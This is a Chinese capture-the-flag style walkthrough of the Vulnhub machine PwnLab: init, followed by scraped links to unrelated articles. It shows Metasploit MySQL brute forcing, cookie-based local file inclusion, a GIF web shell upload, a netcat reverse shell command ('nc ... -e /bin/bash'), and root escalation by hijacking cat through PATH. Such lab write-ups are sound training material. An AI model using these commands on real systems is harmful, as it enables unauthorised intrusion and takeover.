PwnLab: init-文件包含、shell反弹、提权--靶机渗透思路讲解

embedded/2024/9/25 17:13:57/

Vulnhub靶机链接回【PwnLab

首页有一个登录框

image-20240807124822770

image-20240807124822770

他没有验证码,我们试试暴力破解

image-20240807122743025

image-20240807122743025

开始爆破了,全部失败,哈哈哈

image-20240807122851001

image-20240807122851001

nmap全端口扫描试试

image-20240807131408315

image-20240807131408315

有mysql服务,再爆破一下数据库,使用msf框架

use auxiliary/scanner/mysql/mysql_login
set rhosts 192.168.71.1     //设置目标服务器的ip地址
set rport 3306              //设置目标端口,为MySQL开启的端口号,默认是3306
set username root        //设置用户名,默认即为root
set pass_file /home/kali/pass.txt   //指定密码字典文件的路径
run                     //开始爆破

爆破失败。。。。。。

image-20240807130714714

image-20240807130714714

在url上面有一个page,猜测是文件包含漏洞,我们包含/etc/passwd,没有效果

image-20240807164615966

image-20240807164615966

php filter伪协议试试也不行

image-20240807170053674

image-20240807170053674

这些都试过了,那么直接包含index呢,出来了index的源码,就可以发现它的包含规则不能包含后缀

image-20240807170122370

image-20240807170122370

解码看看,对这个lang的cookie进行文件包含

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.

御剑目录扫描一下

image-20240807172346507

image-20240807172346507

包含upload,并base64解码,获取源码

<?php
session_start();
if (!isset($_SESSION['user'])) { die('你没有登录.'); }
?>
<html><body><form action='' method='post' enctype='multipart/form-data'><input type='file' name='file' id='file' /><input type='submit' name='submit' value='Upload'/></form></body>
</html>
<?php 
if(isset($_POST['submit'])) {if ($_FILES['file']['error'] <= 0) {$filename  = $_FILES['file']['name'];$filetype  = $_FILES['file']['type'];$uploaddir = 'upload/';$file_ext  = strrchr($filename, '.');$imageinfo = getimagesize($_FILES['file']['tmp_name']);$whitelist = array(".jpg",".jpeg",".gif",".png"); if (!(in_array($file_ext, $whitelist))) {die('Not allowed extension, please upload images only.');}if(strpos($filetype,'image') === false) {die('Error 001');}if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {die('Error 002');}if(substr_count($filetype, '/')>1){die('Error 003');}$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {echo "<img src=\"".$uploadfile."\"><br />";} else {die('Error 4');}}
}?>

login源码,我们看到了有一个config.php引用,而且还是在当前目录

<?php
session_start();
require("config.php");
$mysqli = new mysqli($server, $username, $password, $database);if (isset($_POST['user']) and isset($_POST['pass']))
{$luser = $_POST['user'];$lpass = base64_encode($_POST['pass']);$stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?");$stmt->bind_param('ss', $luser, $lpass);$stmt->execute();$stmt->store_Result();if ($stmt->num_rows == 1){$_SESSION['user'] = $luser;header('Location: ?page=upload');}else{echo "Login failed.";}
}
else
{?><form action="" method="POST"><label>用户名: </label><input id="user" type="test" name="user"><br /><label>密  码: </label><input id="pass" type="password" name="pass"><br /><input type="submit" name="submit" value="Login"></form><?php
}

config包含

image-20240807170203368

image-20240807170203368

解码,好有了mysql密码

image-20240807134448767

image-20240807134448767

mysql连接

image-20240807134540048

image-20240807134540048

指定好数据库

image-20240807134816919

image-20240807134816919

找到指定表名就能看到用户密码了,密码有==号的话,那么大概率就是base64编码

image-20240807134848062

image-20240807134848062

解码

image-20240807135110924

image-20240807135110924

登录试试

image-20240807135123551

image-20240807135123551

登录成功了,只允许图片上传

image-20240807135555426

image-20240807135555426

我们分析之前找到的文件上传源码,是白名单

<?php
session_start();
if (!isset($_SESSION['user'])) { die('你没有登录.'); }
?>
<html><body><form action='' method='post' enctype='multipart/form-data'><input type='file' name='file' id='file' /><input type='submit' name='submit' value='Upload'/></form></body>
</html>
<?php 
if(isset($_POST['submit'])) {if ($_FILES['file']['error'] <= 0) {$filename  = $_FILES['file']['name'];$filetype  = $_FILES['file']['type'];$uploaddir = 'upload/';$file_ext  = strrchr($filename, '.');$imageinfo = getimagesize($_FILES['file']['tmp_name']);$whitelist = array(".jpg",".jpeg",".gif",".png"); if (!(in_array($file_ext, $whitelist))) {die('Not allowed extension, please upload images only.');}if(strpos($filetype,'image') === false) {die('Error 001');}if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {die('Error 002');}if(substr_count($filetype, '/')>1){die('Error 003');}$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {echo "<img src=\"".$uploadfile."\"><br />";} else {die('Error 4');}}
}?>

图片马gif正常上传

image-20240807170244303

image-20240807170244303

我们用dirb扫到一个目录

image-20240807140150950

image-20240807140150950

gif上传成功

image-20240807140200246

image-20240807140200246

伪协议包含不成功

image-20240807170303756

image-20240807170303756

分析index.php源代码,它对cookie的值作为路径,这个参数为lang

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.

那我们就添加一个cookielang=../upload/66c30a7180c399c3188ff89f1e2c5c02.gif

image-20240807141325596

image-20240807141325596

此时回到首页

image-20240807170320504

image-20240807170320504

蚁剑连接试试

image-20240807141621704

image-20240807141621704

这里不要忘了添加cookie

image-20240807141646389

image-20240807141646389

反弹测试nc,有e参数,可以用nc反弹shell

nc 10.0.0.190 80 -e /bin/bash

image-20240807142125319

image-20240807142125319

反弹成功

image-20240807142325791

image-20240807142325791

终端升级

echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py

切换root账号,弱口令成功了。。。。

image-20240807144049758

image-20240807144049758

image-20240807144219447

image-20240807144219447

如果不用弱口令,正常情况是这样的,找到数据库中的密码和用户

image-20240807144751018

image-20240807144751018

猜测这个用户能用登录该系统,但是登录成功后,没什么利用价值

image-20240807144818674

image-20240807144818674

切换用户kane,里面有一个msgmike文件,查看它,这有一个命令

image-20240807145131804

image-20240807145131804

查看这个文件没有权限

image-20240807145214205

image-20240807145214205

我们切换这个mike用户,不能登录,鉴权失败,我们也就无法查看这个文件

image-20240807145344318

image-20240807145344318

然而当我们调用cat命令的时候,cat会从以上目录来寻找,如果我们添加.到$PATH环境变量,

则会先从当前目录来寻找cat指令,相当于我们自己创建一个读文件的cat指令,用这个指令来

读新建取/home/mike/msg.txt文件,我们新建一个cat文件,并添加执行权限,依次执行以下命令

image-20240807160433869

image-20240807160433869

这样当我们再次运行./msgmike命令的时候,就会触发当前目录下的cat(/bin/sh),

我们就会提升到mike权限:

image-20240807162051127

image-20240807162051127

我们切换这个用户的跟目录发现有个msg2root

查看

image-20240807162730625

image-20240807162730625

发现一个bin/bash会话,不断尝试,直到如下结果; /bin/bash -p才能够以root的权限查看flag.txt

image-20240807164449825

image-20240807164449825


http://www.ppmy.cn/embedded/94242.html

相关文章

【黑马】MyBatis

目录 MyBatis简介JDBC缺点&#xff1a;MyBatis针对于JDBC进行简化&#xff0c;简化思路&#xff1a; MyBatis快速入门具体构建步骤解决SQL映射文件的警告提示 Mapper代理开发案例&#xff1a;使用Mapper代理方式完成案例具体步骤详解&#xff1a;Mapper代理方式 Mapper核心配置…

Linux5.15.71编译问题处理

目录 1 编译环境及源码版本2 移植Linux 5.15.71遇到问题2.1 imx-sdma 20ec000.dma-controller: Direct firmware load for imx/sdma/sdma-imx6q.bin failed with error -22.2 cfg80211: failed to load regulatory.db 1 编译环境及源码版本 ​ 1. uboot-alientek-v2022.04 ​…

halcon计算解析度

最近因为项目需求&#xff0c;研究了一个小工具&#xff0c;自动计算解析度。 read_image (Image, D:/TT/Desktop/halcon/计算解析度/擷取.PNG) InputTuple:[179, 77, 410, 513,3] CalculateResolution (Image, OutputImage, InputTuple, OutputTuple)新建函数&#xff0c;计算…

多次git stash后,进行git stash pop,如何恢复历史暂存代码

git stash list可以查询到所有暂存的未删除的历史记录 git stash list git stash pop只会恢复最新缓存的代码&#xff0c;并删除恢复代码的缓存记录 git stash show -p : 显示第一个存储的改动内容详情&#xff0c;如果想显示其他存存储&#xff0c;命令&#xff1a;git stas…

日志系统——日志器管理模块

日志器管理类 日志器管理类管理着所有全局日志器&#xff0c;负责向用户提供获取指定名称日志器&#xff0c;全局中应该有且仅有一份&#xff0c;所以需要设置为单例模式。 ?类属性 *默认日志器 &#xff08;落地方向是显示屏&#xff0c;免去用户自己构造落地方向为显示屏的…

编程-设计模式 25:MVC (Model-View-Controller)模式

设计模式 25&#xff1a;MVC &#xff08;Model-View-Controller&#xff09;模式 定义与目的 定义&#xff1a;MVC 模式是一种软件架构模式&#xff0c;它将应用程序分为三个核心组件&#xff1a;模型&#xff08;Model&#xff09;、视图&#xff08;View&#xff09;和控制…

SSH服务配置详细教程

一、对于CentOS系统 SSH(Secure Shell)服务配置是一个涉及多个步骤的过程,旨在确保远程登录和数据传输的安全性。以下是一个详细的SSH服务配置教程,以CentOS 7系统为例,但请注意,不同版本的Linux系统或Windows子系统中的步骤可能略有不同。 一、检查并安装SSH服务 检查…

8.12LVS

一&#xff0e;LVS概述 1.什么是lvs&#xff1a; lvs是一个实现负载均衡集群开源软件项目&#xff0c;lvs逻辑上可以分为调度层&#xff0c;server集群层和共享层 2.特点&#xff1a;免费&#xff0c;开源&#xff0c;四层负载均衡 3.Lvs工作原理 4.lvs调度算法: 静态调度…